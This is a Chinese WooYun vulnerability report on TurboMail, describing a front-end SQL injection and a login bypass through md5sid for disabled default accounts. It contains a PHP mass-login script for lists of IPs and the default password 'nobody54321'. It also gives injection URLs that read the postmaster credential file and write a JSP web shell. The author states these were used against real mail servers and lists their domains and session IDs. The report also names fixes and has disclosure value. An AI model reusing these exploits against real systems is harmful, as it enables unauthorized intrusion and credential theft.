当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091405

漏洞标题:TurboMail 前台sql注入漏洞

相关厂商:turbomail.org

漏洞作者: loopx9

提交时间:2015-01-12 16:56

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-17: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-03-13: 细节向核心白帽子及相关领域专家公开
2015-03-23: 细节向普通白帽子公开
2015-04-02: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

前台注入存在注入,可查看管理员密码甚至getshell。

详细说明:

0x1 前台注入
turbomail\web\webapps\ROOT\enterprise\noteadd.jsp:

...			
UserInfo userinfo = ms.userinfo;
if (userinfo == null) {
XInfo.gotoInfo(ms,request,response,"info.loginfail",null,0);
return;
}
String id = request.getParameter("id");//id参数传入,没有过滤
Note note = null;
String cmd = "add";
if(id!=null){
note = Note.findById(id); //跟进findById方法
cmd = "edit";
}
...


turbomail.jar\turbomail\note\NoteServiceImpl.class:

public Note findById(String id)
{
String sql = "select * from t_note where noteid=" + id; //拼接sql导致注入
Connection conn = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
Note note = null;
try
{
conn = DB.getConnection();
pstmt = conn.prepareStatement(sql);
rs = pstmt.executeQuery(); //进入查询
...


0x2 默认用户登录
之前TurboMail出过默认用户空密码登录的漏洞, WooYun: TurboMail邮箱系统默认配置不当可进入任意邮箱及获取管理员密码(官网也中招及大量实例) ,下载最新5.2.0 windows版本看到TurboMail给出的修补方式是禁用了这些默认账号。

mysql> select username,tpassword,enable from accountutil;
+------------+--------------------+--------+
| username | tpassword | enable |
+------------+--------------------+--------+
| nobody | bm9ib2R5NTQzMjE=3D | false |//密码为nobody54321
| postmaster | | true |
| sec_bm | | false |//空密码
| sec_sj | | false |//空密码
+------------+--------------------+--------+
4 rows in set (0.00 sec)

nobody、sec_bm、sec_sj三个账号默认enbale=false,没有启用。尽管禁用了这三个账号,但还是可以利用的。
系统还提供了另一种sid登录方式。turbomail.jar\turbomail\web\Login.class:

...
String md5sid = request.getParameter("md5sid");
md5sid = Util.formatRequest(md5sid, MailMain.s_os,
SysConts.New_InCharSet);

...
else if (!md5sid.equals(""))
{
boolean bMD5SidAuth = MD5SidAdmin.auth(str_uid, str_domain,
md5sid);
if (bMD5SidAuth) {
userinfo = MailMain.s_auth.createUserInfo(str_uid,
str_domain);
}
}
...


由于该登录方式没有检查当前用户的启用状态,所以可以使用这三个账号登录前台,进而前台注入就能利用了。md5sid的生成是通过调用GetMD5Sid1方法:
turbomail.jar\turbomail\auth\MD5SidAdmin.class:

public static void GetMD5Sid1(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
WebUtil.setResponseNocache(response);
response.setContentType("text/plain;charset=UTF-8");

String username = request.getParameter("username");
String domain = request.getParameter("domain");

String useraccount = null;
if (username == null) {
username = "";
}
if (username.indexOf("@") != -1) {
useraccount = username;
} else {
useraccount = username + "@" + domain;
}
useraccount = useraccount.toLowerCase();

String strSNO = Util.getSNO();

MD5SidUserAccount md5sidua = null;
synchronized (m_objLock)
{
md5sidua = (MD5SidUserAccount)m_hsMD5SidUserAccount.get(useraccount);
if (md5sidua == null)
{
UserAccount ua = UserAccountAdmin.getUserAccount(domain, username);
if (ua == null)
{
response.getWriter().write("nouser");
return;
}
String password = ua.getPassword();
if (password.startsWith("{md5}"))
{
password = password.substring(5);
}
else
{
password = Password.decode(password);
password = MD5.getHashString(password);
}
md5sidua = new MD5SidUserAccount();
md5sidua.m_strMD5Password = password;
md5sidua.m_strUserAccount = useraccount;

m_hsMD5SidUserAccount.put(useraccount, md5sidua);
}
}
String snomd5password = strSNO + md5sidua.m_strMD5Password;
String strMD5Sid = MD5.getHashString(snomd5password);

strMD5Sid = strMD5Sid.toLowerCase();

MD5Sid md5sid = new MD5Sid();
md5sid.m_strMD5Sid = strMD5Sid;
md5sid.m_strSNO = strSNO;
if (ServerConf.i_LOG_LANGUAGE == TMConfig.LOG_LANGUAGE_CHINESE) {
MailMain.s_log.log("0", 4, 4301, "GetMD5Sid1 useraccount:" + useraccount + " strSNO:" + strSNO + " " + " strMD5Sid:" + strMD5Sid + " auth");
} else {
MailMain.s_log.log("0", 4, 4301, "获取用户的MD5,用户:" + useraccount + " 序号:" + strSNO + " " + " MD5ID串:" + strMD5Sid + " 认证"); //写入日志文件
}
md5sidua.m_hsSids.put(strMD5Sid, md5sid);

response.getWriter().write(strSNO);//输出序号
}


md5sid生成方式为: md5(序号+md5(用户密码)), 而且系统也提供了调用接口,turbomail.jar\turbomail\web\MailMain.class:

...
String type = request.getParameter("type");
...
else if (type.equals("getmd5sid1"))
{
MD5SidAdmin.GetMD5Sid1(request, response);
}
...


利用方式:
第一步访问URL:http://localhost:8080/mailmain?type=getmd5sid1&username=nobody&domain=root,生成md5sid并写入缓存,成功后会返回一个序号。算法已经知道了,获得序号后我们可以生成对应md5sid:

php -r "echo md5('序号'.md5('nobody54321'));"


第二步使用md5sid登录(md5sid只能用一次):
http://localhost:8080/mailmain?type=login&uid=nobody&domain=root&md5sid=生成的md5sid

漏洞证明:

写了个小脚本跑了下:

<?php
$ip = explode("\n", str_replace("\r", "", file_get_contents("ip.txt")));
for ($i = 0; $i < count($ip); $i++) {
if (trim($ip[$i])) {
login_with_md5sid('sec_bm', trim($ip[$i]));
login_with_md5sid('sec_sj', trim($ip[$i]));
login_with_md5sid('nobody', trim($ip[$i]));
login_with_md5sid('nobody', trim($ip[$i]), 'nobody54321');
}
}
function login_with_md5sid($usr, $host, $pwd = '')
{
$url = "http://${host}/mailmain?type=getmd5sid1&username=${usr}&domain=root";
print_r($url."\r\n");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
$sno = curl_exec($ch);
curl_close($ch);
if (preg_match('/^\d{13}$/', trim($sno))) {
//echo trim($sno)."\r\n";
echo "${host} exists user ${usr}\r\n";
$md5sid = md5($sno . md5($pwd));
$url = "http://${host}/mailmain?type=login&uid=${usr}&domain=root&md5sid=${md5sid}";
echo "try login with url: " . $url . "\r\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
$out = curl_exec($ch);
curl_close($ch);
if (preg_match('/sessionid/i', $out)) {
echo "${host} login with ${usr} successfully!\r\n";
preg_match('/Location: (.*)/',$out,$url);
file_put_contents("result.txt", "${host}:${usr}:${pwd}:-->${url[1]}\r\n", 8);
}
}
}


从zoomeye找了些来跑:

mail.jinfangda.com:nobody:nobody54321:-->http://mail.jinfangda.com/tmw/5/next/login.jsp?sessionid=198073dH4ea0_0
mail.trycool.com:nobody:nobody54321:-->http://mail.trycool.com/tmw/8/next/login.jsp?sessionid=2b9881aHb1_0
mail.paliqu.com.cn:nobody:nobody54321:-->http://mail.paliqu.com.cn/tmw/9/next/login.jsp?sessionid=497ae4aH6_0


常规登录失败:http://mail.jinfangda.com/mailmain?type=login&uid=nobody&pwd=nobody5421&domain=root,而使用md5sid方式登录成功:

1.png

得到sessionid后,就能使用前台sql注入了。load_file读取postmaster密码:

http://mail.jinfangda.com/enterprise/noteadd.jsp?sessionid=198073dH4ea0_0&id=-1%20union%20select%201,load_file(%27E:\\turbomail\\accounts\\root\\postmaster\\account.xml%27),3,4,5,6,7,8

2.png


也可以直接写shell:

http://mail.jinfangda.com/enterprise/noteadd.jsp?sessionid=198073dH4ea0_0&id=-1 union select '','test','','','','','','' into dumpfile 'E:\\turbomail\\web\\webapps\\ROOT\\test.jsp'


http://mail.jinfangda.com/test.jsp
表t_note默认没有数据,得手动添加一个记录,不然注入失败。在前台"记事本"随便添加一个即可。

3.png

修复方案:

1.修复注入;
2.md5sid登录方式检查用户状态.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

2015-03-09:已经确认该漏洞,会尽快提供修正包